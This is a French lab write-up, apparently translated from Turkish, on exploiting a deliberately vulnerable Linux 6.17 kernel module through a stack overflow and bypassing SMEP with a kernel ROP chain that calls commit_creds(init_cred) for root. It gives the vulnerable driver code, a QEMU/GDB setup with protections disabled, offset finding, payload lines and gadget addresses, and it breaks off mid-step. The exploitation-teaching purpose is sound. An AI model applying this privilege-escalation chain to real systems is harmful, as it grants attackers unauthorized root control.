Débordement de pile du noyau Linux 6.17 - Contournement de SMEP via kROP (Writeup en turc)
Auteur : expo
Dépôt : https://github.com/exploitbey/kernel-krop-smep-bypass
Dans ce writeup, nous examinons comment exploiter une vulnérabilité de débordement de pile noyau sur Linux kernel 6.17.0-5-generic, où SMEP et SMAP sont actifs. La méthode classique ret2user reste inopérante face à cette protection. En alternative, une chaîne Kernel ROP (kROP) est utilisée.
Les autres protections (KASLR, KPTI, shadow stack, stack canary) ont été désactivées dans cet environnement ; le point central est uniquement la technique de contournement de SMEP.
SMEP (Supervisor Mode Execution Prevention) est une protection au niveau du processeur. Le noyau ne peut pas exécuter de code situé dans les pages mémoire appartenant à l'espace utilisateur. Autrement dit, lorsque vous écrivez un shellcode dans un tampon utilisateur et redirigez le noyau vers celui-ci, le CPU vous interrompt immédiatement.
C'est la raison pour laquelle le ret2user classique est mort.
Vous pouvez vérifier depuis GDB que SMEP et SMAP sont actifs :
info register cr4
Si la valeur est 0x372ef0, convertissez-la en binaire et examinez les bits :
0x372ef0 → 0011 0111 0010 1110 1111 0000
De droite à gauche, en commençant par l'index 0 :
| Groupe de bits | Plage | Signification |
|---|---|---|
| 0000 | 0–3 | — |
| 1111 | 4–7 | Bit 5=PAE, Bit 7=PGE |
| 1110 | 8–11 | Bit 9=OSFXSR, Bit 10=OSXMMEXCPT |
| 0010 | 12–15 | Bit 13=VMXE |
| 0111 | 16–19 | Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE |
| 0011 | 20–23 | Bit 20=SMEP ✓, Bit 21=SMAP ✓ |
Bit 20 défini → SMEP actif. Le CPU bloque l'exécution de code depuis les pages Ring 3 en Ring 0.
Une remarque : depuis le noyau 5.16, le registre CR4 est « épinglé ». Auparavant, il était possible d'effacer le bit SMEP à l'aide de gadgets du type mov cr4, rax. Désormais, cette porte est fermée. Mais cela n'a pas d'importance, car nous ne toucherons jamais à CR4.
vmlinuz doit être copié de l'invité vers l'hôte. Après la copie, convertissez-le en vmlinux_raw :
./extract-vmlinux vmlinuz > vmlinux_raw
Script : https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
Ligne GRUB dans le guest :
GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"
Commande de lancement QEMU :
qemu-system-x86_64 \
-m 4G \
-enable-kvm \
-cpu host \
-drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
-vga qxl \
-device virtio-serial-pci \
-device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
-chardev spicevmc,id=spicechannel0,name=vdagent \
-display spice-app \
-net nic -net user \
-usb -usbdevice tablet \
-vga virtio \
-s -S
Lancez GDB sur l'hôte pendant le démarrage du système :
gdb ./vmlinux_raw
# ardından: continue
Source : rop.c
__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos) {
char tampon[64];
// ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
if (_copy_from_user(tampon, buf, count)) {
return -EFAULT;
}
return count;
}
Le tampon est fixe à 64 octets. _copy_from_user ne vérifie jamais combien d'octets sont copiés. Il suffit d'envoyer ne serait-ce que 65 octets depuis l'espace utilisateur ; la pile du noyau commence à être corrompue.
Point d'entrée de l'exploitation : /dev/vuln_device
sudo su
make # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko
Copiez ensuite rop.ko sur l'hôte (des informations de symboles sont nécessaires pour GDB).
Convention d'appel x64 : premier argument RDI, deuxième RSI, troisième RDX, quatrième RCX.
Lorsque device_write est appelé, l'adresse de retour se trouve à la position rbp+8 dans la pile du noyau. Notre objectif est de prendre le contrôle de cette adresse.
Le LKM a été compilé avec des symboles de débogage, nous allons donc effectuer un suivi correct avec GDB.
Examinez les adresses des modules dans le guest :
cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)
cat /sys/module/rop/sections/.text # 0xffffffffc092f000
cat /sys/module/rop/sections/.data # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss # 0xffffffffc0a15640
Appuyez sur Ctrl+C dans GDB sur l'hôte, chargez les symboles :
add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640
Point d'arrêt avant et après _copy_from_user :
b *0xffffffffc092f059
b *0xffffffffc092f05e
continue
Créez un pattern de 88 octets avec Metasploit :
msf-pattern_create -l 88
Enregistrez le pattern sous payload.txt, envoyez-le avec find_offset :
gcc -o find_offset find_offset.c
./find_offset payload.txt
Il s'arrêtera au point d'arrêt du noyau. Notez le contenu de rbp+8 dans GDB. Au deuxième point d'arrêt, vous verrez que rbp+8 est rempli avec le pattern.
Calculez l'offset sur l'hôte :
msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72
L'adresse de retour est écrite à partir de l'octet 72.
Pourquoi ROP peut-il contourner SMEP ? Parce que ROP utilise du code déjà existant dans la propre région .text du noyau. Il n'exécute pas de nouveau code. Il ne touche jamais à la mémoire utilisateur. SMEP ne peut pas le voir.
Enregistrez les registres de l'espace utilisateur avant iretq :
__asm__ volatile (
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
::: "memory"
);
"memory" écrase kritik : si GCC met ces valeurs en cache, le frame iretq sera corrompu.
payload[i++] = POP_RDI_RET; // pop rdi ; ret
payload[i++] = INIT_CRED; // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS; // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir
Pourquoi prepare_kernel_cred est absent ?
Dans le noyau 6.17, aucun gadget de transfert de registre propre comme mov rdi, rax ; ret n'a été trouvé. init_cred est déjà une adresse statique, pop rdi; ret suffit. La payload reste également petite : 144 octets.
Adresses des gadgets :
commit_creds et init_cred :
cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds
cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred
pop rdi ; ret → opcode \x5f\xc3
Plage .text :
Başlangıç : 0xffffffff81000000
Boyut : 0x1637970
Bitiş : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3
Premier résultat 0xffffffff812582bd → vérifiez avec x/3i 0xffffffff812582bd dans GDB. Séquence propre pop rdi; ret.
swapgs + iretq → opcodes : 0x0F 0x01 0xF8 et 0x48 0xCF
python3 find_swapgs.py vmlinux_raw
Le script renvoie deux candidats. 0xffffffff81001866 contient trop de pop, la pile se corrompt. Examinez 0xffffffff8100118f :